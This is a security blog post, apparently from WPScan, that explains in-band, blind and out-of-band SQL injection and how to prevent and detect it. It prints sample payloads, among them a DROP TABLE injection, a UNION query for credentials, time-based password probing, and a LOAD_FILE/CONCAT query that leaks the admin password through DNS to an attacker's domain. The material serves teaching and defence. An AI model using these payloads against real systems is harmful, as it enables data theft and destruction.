What is an SQL Injection (SQLi)? How to Prevent SQLi Attacks

A SQL injection (SQLi) takes advantage of the forms on your website or application to try and get information from its database. That information can range from the database version to full user credentials, depending on how vulnerable your website is.

Protecting your organization against SQLi attacks requires you to be proactive. There are a lot of measures your security team can take to harden your website or application against malicious SQL queries and stop injection attacks before they occur.

Below, we’ll talk about how SQL injections work and the types of injection attacks you might face. We’ll also tell you how to detect, handle, and prevent SQLi attacks. 

What is an SQL Injection (SQLi)?

An SQL injection is a security breach that infiltrates the database level of an application or website. Here’s how it works: An attacker “injects” malicious code into an input on the website. If you don’t sanitize inputs, that code can enable the attacker to view and manipulate information from the database.

Typically, this type of attack happens through forms. A user fills out a contact or login form (or even uses a search bar) and enters an SQL query. In a secure environment, the website would “sanitize” these first, cleaning and validating the inputs before using or storing them in the database.

simple contact form with multiple fields

An SQLi attack can be as simple as a drop command. Any form with basic sanitization and security protocols will not enable users to submit a drop command:

'); DROP TABLE contacts; --

But if that command goes through, it’ll drop or delete a full table from the database. That’s about as simple as a SQLi attack can get. These days, SQLi attacks are much more sophisticated and can wreak havoc on your website.

What’s more, SQL injections are the main vector of exploitation for vulnerabilities on the web. In fact, 33 percent of security incidents in 2022 involved SQLi attacks. That’s why SQLi attack prevention is essential for any enterprise business. 

How do SQL queries work?

SQL queries are the main way in which applications and websites interact with databases. Queries enable you to retrieve, insert, and modify information in a database. 

Essentially, SQL gives you the framework for creating and structuring queries. Any query will involve one or multiple tables and conditions, and perform a specific task in the database.

Take the query in the next example. It takes two values and inserts them into specific columns in a database table:

INSERT INTO table (column1, column2) VALUES (value1, value2);

Here’s another example. This query takes rows from two tables and combines them so they share the same values:

SELECT column1, column2 FROM table1 JOIN table2 ON table1.column = table2.column;

If you’ve interacted with a database using a management tool like phpMyAdmin, this type of query will make a lot of sense. Database management tools offer a great visual representation of databases, which can make it easier to construct complex queries.

PHPMyAdmin screen with database tables

SQL queries happen all the time while interacting with websites, even if they’re not obvious to end users. When you use a search engine, for example, you’re querying a database of indexed sites to return results that match your query.

That’s an oversimplification, of course. Still, in broad terms, every SQL query goes through the same process:

  1. You enter the query.
  2. The application or website validates the connection to the database.
  3. At this stage, the application or website validates and sanitizes the query, and then submits it.
  4. The database receives and interprets the query.
  5. At this step, the database executes the query and obtains the results.
  6. The database returns the results from the query.
  7. The connection to the database closes.

SQLi attacks occur during the first steps. An attacker enters a malicious query and the application must validate if the input is acceptable and sanitize it. If for any reason the application skips that step, it opens the database (and consequently the website) to attacks.

The different types of SQL injections

There are different types of SQLi attacks you’ll need to understand in order to protect your organization against them. In this section, we’ll explore the three main types of SQL injections your security team might need to deal with.

1. In‑band SQLi attacks

An “in‑band” SQL injection uses the same channel to launch the attack and see the information it returns. To explain how that works, we first need to talk about the two types of in‑band SQLi attacks:

  1. Error‑based SQL injection. This type of attack is designed to generate errors from the database. If your website or application is configured to display errors, the attack can get the database to reveal critical security information through them. That information might include the database software version, names of tables and columns, etc.
  2. Union‑based SQL injection. This type of query combines the results of SELECT statements into one set of data through the UNION operator. To put it in other words, the attacker combines a legitimate query with a malicious one to get protected information from the database.

In‑band SQL injection attacks are the most common because they’re easy to test for. Attackers can use any form on your website to see if it sanitizes inputs or returns errors when submitting a query.

2. Blind SQLi attacks

Unlike in‑band SQL injections, blind SQLi attacks don’t return any visible information or errors from the database. Instead, attackers need to make “deductions” based on how the application or website behaves during the attack in response to their queries.

Think about blind SQLi attacks as a level up from in‑band injections. The two main types of blind SQLi attacks are:

  1. Boolean‑based injections. This type of attack uses true or false statements to probe the database and see if it returns any information. Depending on how the database responds, attackers can infer how it works and its level of security.
  2. Time‑based injection attacks. Instead of relying on true or false statements, this type of attack adds timers to queries. How and when the application responds to the queries gives you information about how it works.

Later on, we’ll go over examples for both types of blind SQLi attacks.

3. Out‑of‑band SQLi attacks

Out‑of‑band SQL injection attacks involve external channels to try and gather information from a database. They’re typically used when in‑band and blind SQL injection attacks fail since they require additional work to set up.

In this scenario, attackers use queries to try and “trick” a database into sending information to external systems they control. The two most common types of out‑of‑band SQLi attacks are:

  1. DNS lookup attacks. This attack involves using an SQL query to make a database reach out to a Domain Name Server (DNS) you control. Since you control the DNS, you can check the server logs to see information about incoming requests, potentially including usernames from the database. 
  2. HTTP request attacks. If the database server can make HTTP requests, you can use this type of attack to force it to connect to a server you control. Depending on the query, you can get the database to append sensitive information to the HTTP request that it submits to the server.

Out‑of‑band SQLi attacks can bypass a lot of traditional security measures. Without input sanitization or outbound traffic restrictions (which should be standard for any organization), protecting against this type of attack can be challenging.

SQL injection examples

Now, let’s discuss some examples of the different types of SQL injections.

In-band SQLi example 

To get an idea of what an in‑band SQLi attack looks like, let’s examine a union‑based SQL injection. In this example, we’re querying the database to return a list of products and corresponding descriptions that match a query. That’s the first part of the query, which is up to the UNION SELECT statements:

SELECT productName, productDescription FROM products WHERE productName LIKE ‘%’ UNION SELECT username, password FROM users –%’;

The database sees that query and since the first part is legitimate, it also executes the second. That’s thanks to the UNION statement. 

In that scenario, if your organization’s website isn’t secured against SQL injection, the attack will return a list of usernames and passwords from the users table. Those passwords might be encrypted, but that’s still a massive breach of information achieved in a matter of seconds due to a lack of security.

Blind SQLi example 

A simple example of a blind SQLi attack would be if an attacker tried to probe your organization’s website with queries adding true or false parameters. In this scenario, the attacker may want to check if the administrator is using a common username, such as admin (which is a poor security practice).

One way to do this is by trying to use the admin username in the login form. The attacker can also add a query which will return a true or false statement:

admin' AND 1=1–

That query tells the database to look for the admin username and to confirm if 1 equals 1. The goal of that query is to check if the database is vulnerable and to see if it gives you information about the username.

A poorly secured website will return a message that says, “That’s not the right password for this account”. This tells attackers they have the right username, which makes it easier to execute a brute force attack.

An attacker can take this type of boolean‑based injection even further. In this example, we’re using a query to tell the database to wait five seconds to return the results if the first letter of the password for the admin account is “a”:

' OR (SELECT IF(SUBSTRING(password, 1, 1) = 'a', SLEEP(5), 0) FROM users WHERE username = 'admin') –

If that code is successful, it’ll be five seconds before you get a response from the service. No delay means that the first letter of the password isn’t an “a”.

Typically, attackers will probe the database with simple blind SQLi attacks. If they see any vulnerabilities, they can exploit them with more sophisticated queries that will return more valuable information.

Out‑of‑band SQLi example

To get an idea of how out‑of‑band SQLi attacks look, let’s see an example of a DNS lookup injection. In this query, we’re telling the database to use the UNION operator to combine the results of two SELECT statements:

' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username = 'admin'), '.yourdomain.com\\')) –

One of the statements uses the LOAD_FILE SQL function to read the contents of a file. In this case, we’re using it as part of the attack to trigger a network request from the database to the domain we control.

The CONCAT function concatenates strings. In this scenario, it will extract the password of the admin user from the users table and add it to the URL at the end of the query. This means the database will make a request to the domain that looks like password.yourdomain.com.

Even if the network path doesn’t exist, your DNS logs will contain information about the request. If the attack succeeds, and it extracts the password, you’ll be able to see it in the logs.

Typically, attackers will use domains that are difficult to trace or disposable for this type of attack. That way, even if you access the network traffic logs to see where the request goes, your organization might not be able to do much with that information, except block traffic to that domain.

How to detect SQL injections

Ultimately, your organization’s goal should be to prevent SQLi attacks altogether. But part of a comprehensive security protocol or audit involves checking for past attacks or vulnerabilities that leave you open to them. If you think your business may have faced SQLi attacks, here’s what to do:

1. Automated vulnerability scanning

The best way to detect vulnerabilities that open your application or website to SQLi attacks is through automated scanning. Automated vulnerability scanners can check your site’s code and files to look for weak security spots.

Not patching or closing these website vulnerabilities all but assures you’ll deal with SQLi attacks at some point. The larger the organization, the bigger the target on its back. If you’re part of an enterprise organization, your team will likely deal with attacks of all kinds, including SQL injections.

One example of an automated vulnerability scanner is the WPScan plugin. This plugin leverages the WPScan vulnerability database to scan WordPress websites for vulnerabilities and security threats. Then, it notifies you if it finds any security issues with your website.

WPScan plugin listing in the WordPress repository

If your organization doesn’t use WordPress, there are plenty of third‑party services that can integrate with your website or application to run automated vulnerability scans. Integrating this type of solution is all but essential to ensure your website and any sensitive information in the database aren’t vulnerable to attacks.

2. Monitor database logs for unusual activity

In addition to automating vulnerability scanning, your security team should check database logs regularly. The logs should include information about all queries, when they were performed, and the results they returned.

For an active website or application, that can mean going through thousands of queries. Still, this process is essential if you want to identify unusual activity such as SQLi attacks.

One way to simplify this process is to focus on queries that contain SQL queries with known “malicious” statements, such as UNION or SELECT. In practice, no user should be entering those queries into a login or contact form. If the logs show those kinds of requests, you’re almost certainly dealing with SQLi attacks.

Database logs can also reveal other information such as originating IP addresses, which you can use to blocklist attackers. All of this is only possible thanks to active monitoring, which needs to become a part of your organization’s security protocol.

3. Manual code review

If you’re a highly experienced web developer or security analyst, it’s worth noting that you can always conduct a manual code review of your site to try to detect SQL injections. But, this isn’t advisable unless you have tons of free time and no alternative. 

What’s more, you likely won’t be able to actually detect SQL injections, but vulnerabilities that could lead to them. So, this is more of a preventative measure.

But again, this would be extremely time-consuming, not to mention, like searching for a needle in a haystack. Especially since vulnerabilities can come from tons of different sources. 

How to handle a SQL injection attack

If you’re positive that your organization’s website or application has suffered from successful SQLi attacks, your next move needs to be to mitigate the damage. After mitigation, you can move on to preventing future attacks, which we’ll talk about in a minute.

1. Use a web application firewall (WAF)

Setting a web application firewall (WAF) works as both a preventive measure against SQLi attacks and for mitigation. The best time to set up a WAF that blocks malicious actors from accessing your website is before an attack, but the second best time is during the cleanup process.

A WAF is software that you can configure with complex sets of rules to block specific types of connections. You can use it to blocklist known malicious actors from accessing your website, block bot‑based attacks, and implement many other security measures.

The goal of setting up a WAF after an SQL injection attack is to prevent the same malicious actors from returning to gain access to additional information. You can do this by using the information you find in the database logs and see what users or IP addresses you need to blocklist.

2. Restore a clean backup

In some scenarios, attackers use SQLi attacks to insert information into a database. This can compromise the integrity of the database, or be used to add new privileges to an existing user account. Attackers can also attempt to change database structures to make retrieving information easier down the line.

Your security team should be able to identify most changes to the database by checking the corresponding logs. But, if you detect the SQLi attack immediately, we recommend restoring the database to a previous state to avoid any chance of corruption.

This approach only works if you have a recent backup of the database. Older backups might cause you to lose critical information, which is why it’s best not to use them

If your organization relies on a backup solution that creates real-time copies of the website and the database, you won’t face the same difficulties. Jetpack VaultPress Backup, for example, creates backups of your site anytime you make a change to it. 

That includes changes to the database, which means you can use the service to restore the database (and your website) to before the attack. This will enable you to patch the corresponding vulnerability, preventing attackers from exploiting it again.

Proactive measures to prevent SQLi attacks

The best way to prevent SQLi attacks is to be proactive when it comes to security. Here are the measures you should ask your security team to implement to reduce the risk of successful SQL injections:

1. Avoid the use of dynamic SQL

Dynamic SQL involves queries formatted as strings, which can also incorporate user input. Enabling this type of query can leave your website vulnerable to attack without proper sanitization.

To give an example of dynamic SQL, let’s look at a query that includes a username variable. This query changes when you execute it, to account for the user input:

$query = "SELECT * FROM users WHERE username = '" . $username . "'";

Dynamic SQL makes it easier for attackers to probe the database because it allows for more complex interactions. That’s not to say that dynamic SQL is inherently unsafe, but it can be if it’s paired with a lack of additional security measures, such as input validation and sanitization.

2. Validate inputs and sanitize data

We’ve talked a lot about validating and sanitizing queries throughout this guide. Those are processes that involve taking user queries, validating that they fit specific criteria, and removing any potentially harmful characters from them.

In the context of database queries, input validation means that every form on your website should only accept specific types of data. Some fields might accept strings or text, other dates, numbers, and so on. Supporting every type of data makes it easier for attackers to deploy SQL injections.

You can take things a step further by limiting the length of inputs, checking if they match predefined patterns, and generally closing any loopholes that might enable attackers to bypass restrictions.

Sanitization occurs after the validation stage. If an attacker manages to submit a harmful query, the sanitization process strips any parts of it that might be able to exploit vulnerabilities.

If you’re using a modern tool to manage forms on your website, chances are that they already validate and sanitize inputs. Even so, it’s a smart move to have your security team test these tools to ensure they’re safe for use.

3. Use parameterized queries

A parameterized query is an SQL statement that uses placeholders for user values. This is in contrast with directly embedding user inputs into the statement.

This approach adds a layer of separation and ensures that user inputs get treated as data and not as part of the SQL code and thus executable. With this approach, the user input is submitted to the database separately from the main SQL query related to it.

Submitting the user input separately forces the database to treat it as a separate value. With this security measure, attackers can submit malicious SQL code, but the database will never recognize it as an executable entry.

4. Use an object‑relational mapping (ORM) framework

The goal of an object‑relational mapping (ORM) framework is to create a layer between the database and the application layers. That means your organization can use an ORM framework to interact with the database without having to rely on SQL queries.

When you use an ORM framework, you can interact with the database using a broad range of programming languages. Most ORM frameworks also employ parameterized queries (see the previous section), which means they separate the SQL code from the data values in a query.

This approach to interacting with the database drastically reduces the success rate of SQLi attacks. On top of using parameterized queries, most ORM frameworks sanitize and validate inputs and handle database connections more securely.

5. Keep software up to date

For any website that uses third‑party software or tools, you’ll also want to ensure that you keep software up‑to‑date. In the case of WordPress, it means keeping the core software of the content management system (CMS) up to date as well as plugins, themes, and any software integrations.

The danger of outdated software cannot be overstated, be it for a personal website or an enterprise business. Outdated software components on your server can pose significant security risks.

The more outdated the software, the more likely it is to have known security vulnerabilities. Reputable software vendors patch these vulnerabilities periodically. If you fail to update the software, you’re exponentially increasing the risk for all kinds of attacks, including SQL injections.

6. Use a vulnerability database and scanner

A vulnerability scanner can analyze your organization’s websites or applications to find known security issues. It does this by comparing the contents of your site, including its code and components, against a vulnerability database.

The results you get will depend on what database and vulnerability scanner you’re using. If your organization uses WordPress, you can leverage WPScan’s vulnerability database to analyze your website and identify potential security issues. 

The vulnerability scanner your organization decides to use should include automation capabilities. This will enable your security team to focus on other aspects of securing the website while leaving full‑site scans to a tool that has access to a comprehensive vulnerability database.

Enterprise organizations can integrate existing tools with WPScan’s library through an API connection. Alternatively, smaller organizations can use Jetpack Protect as their scanner. This pre-built tool leverages the same library. 

Finally, for black box testing, the WPScan CLI Scanner is a great option. 

7. Limit database permissions and privileges

One of the best ways to secure a database (or any website or application) is to limit who has access to it. If multiple team members require access to the database, you can still limit risk by ensuring everyone only has enough permissions to fulfill their tasks and nothing else.

This is called the principle of least privilege (PoLP) and it’s a mainstay in the field of information security. It applies to databases as well as any other application where users have different roles with unique responsibilities.

In a nutshell, only the administrator should have full access to the database. This limits the possibility of attackers using SQL injections to retrieve information they can use to access other accounts that can edit the database.

This approach still leaves the risk of having attackers gain access to the administrator account. In an enterprise environment, the administrator should follow enhanced security protocols, including multifactor authentication (MFA) and credentials that change periodically to mitigate that risk. 

8. Avoid displaying database errors directly to the user

Being able to see error information in the browser is a powerful tool for troubleshooting. The downside is that attackers can sometimes use that error information to find ways to bypass security features on your website.

That is the case when it comes to database errors. If an attacker performs an SQLi attack on a website or an application, and it doesn’t work, displaying error information can give them insight into how to refine the attack.

As you’ll recall from a previous section in this guide, the difference between in‑band and blind SQLi attacks is that the database returns error information with the former. Removing that factor makes it harder for malicious actors to figure out if there are vulnerabilities they can exploit with SQL.

It’s important to note that configuring an application to not display error messages doesn’t mean that information doesn’t appear anywhere. If your security team has access to database and server logs, they’ll still be able to identify and patch vulnerabilities that lead to SQL injection attacks. The difference is that data isn’t available to regular users, which makes your website more secure.

9. Use a WAF

We talked about using a WAF in the section about what to do if your organization is dealing with an SQLi attack. The importance of WAFs for enterprises cannot be overstated.

This software can drastically mitigate the risk of most types of attacks on your website by blocklisting known malicious actors (or “allowlisting” safe ones). That means attackers won’t even be able to make it to the website, let alone interact with forms and test them for weaknesses using SQL queries.

A lot of reputable web hosts offer integrated WAFs at the server level and manage them for you. This can make your organization’s life a lot easier. The downside is that you’re not in full control over the WAF’s parameters, but that can be an acceptable trade off depending on your security needs.

10. Use an allowlist instead of a blocklist

A WAF can use either an allowlist or a blocklist to control which IP addresses can access a website or application. Most WAFs rely on blocklists with information from third‑party security vendors and providers. These organizations collect information from known malicious actors that make it easier for WAFs to block attacks of most types.

An allowlist flips the script and enables your organization to decide who can access the website or sensitive pages with forms that can be used to launch SQLi attacks. 

With an allowlist, you can list the IP addresses of members of the organization and anyone else that requires access to the website. The WAF will automatically block anyone not on the allowlist, preventing malicious actors from trying to deploy SQL attacks.

11. Train employees on prevention methods

Everyone on your organization’s web security team should understand how SQL injection attacks work and how to prevent them. This requires a comprehensive understanding of the different types of SQLi attacks and of best security practices, such as validation and sanitization.

Employees also need to understand the importance of and how to implement every prevention method discussed in this guide. Proper implementation of every proactive measure we’re discussing can drastically reduce the chances of successful SQLi attacks on your website. That means implementation needs to be high on the list of security priorities for your organization.

If your organization uses WordPress, we recommend that your security team subscribe to publications that talk about the latest vulnerabilities for the platform as they’re discovered. One great resource for keeping up with information about new vulnerabilities is the WPScan blog.

12. Perform regular security audits and penetration testing

Website security audits enable your team to review existing practices and security measures. We recommend performing regular audits because, as your business changes, the way in which you approach security will need to evolve with it.

To give an example, you can mostly protect a small website by using a security plugin. But, at the enterprise level, you’ll need multiple security solutions, often integrated with each other, to help you protect the integrity of the business and any sensitive information it handles.

Penetration testing should be part of a comprehensive security audit. Organizations can also engage penetration testing services outside of the scope of audits to ensure that their security measures are up to standard. For instance, you may want to hire black box testers.

Any reputable penetration testing service will attempt to access sensitive information using SQL injection attacks. If you’ve put into action the other proactive measures we’ve covered so far, they should come up empty‑handed after their attempts to access the database.

Frequently asked questions

If you still have any questions left about SQL injection attacks and how they work, this section will hopefully answer them.

How common are SQL injection attacks?

33 percent of known web vulnerabilities in 2022 were related to SQL injections. This makes SQL injections the most common type of threat, followed by cross‑site scripting, malicious file uploads, and code injections.

One of the main reasons SQLi attacks are so prevalent is that they’re easy to deploy. An attacker can easily test multiple types of SQL queries on a website, providing it has client‑facing forms. This can be done in a matter of minutes and attackers can re‑use the same queries across sites to test for similar vulnerabilities.

Why are SQL injection attacks considered such a dangerous vulnerability?

Most applications rely heavily on databases for storing all kinds of critical and sensitive information. Data breaches can lead to fines, loss of trust from customers, and time‑consuming security cleanups that distract from regular operations. So, they can also cause dips in sales and revenue.

SQLi attacks are considered dangerous because they’re both easy to deploy and can have an outsized impact on the organization. The severity of the security breach depends on the data that attackers can access or manipulate.

How can I ensure that plugins, extensions, or third‑party integrations aren’t introducing SQLi vulnerabilities?

Your organization should always strive to use reputable plugins, extensions, and third‑party integrations. These tools can add new functionality to a website or an application, but the downside is they can also introduce security vulnerabilities due to poor coding practices.

Using third‑party tools with a history of regular security updates and positive user reviews minimizes that risk. Still, you should also set up automated vulnerability scanning to detect any security issues that might pop up with third‑party tools as you continue to use them.

WPScan: Vulnerability database and scanner for WordPress sites

WPScan empowers enterprise-level vulnerability scanning for WordPress websites and applications with access to the most comprehensive, up-to-date database possible. 

If your organization relies on WordPress for part of its digital footprint, you’ll want to implement a security solution that has access to information about the latest vulnerabilities for the CMS. This will help you to protect your website (and its database) against SQL injection attacks

With WPScan, you get access to the largest database of WordPress vulnerabilities on the market. Security experts, developers, and researchers work together to maintain and grow the database. This enables WPScan to provide you with information about existing vulnerabilities on your site, which you can use to close them and prevent future SQLi attacks.

Posted by

Get News and Tips From WPScan

Blog at WordPress.com.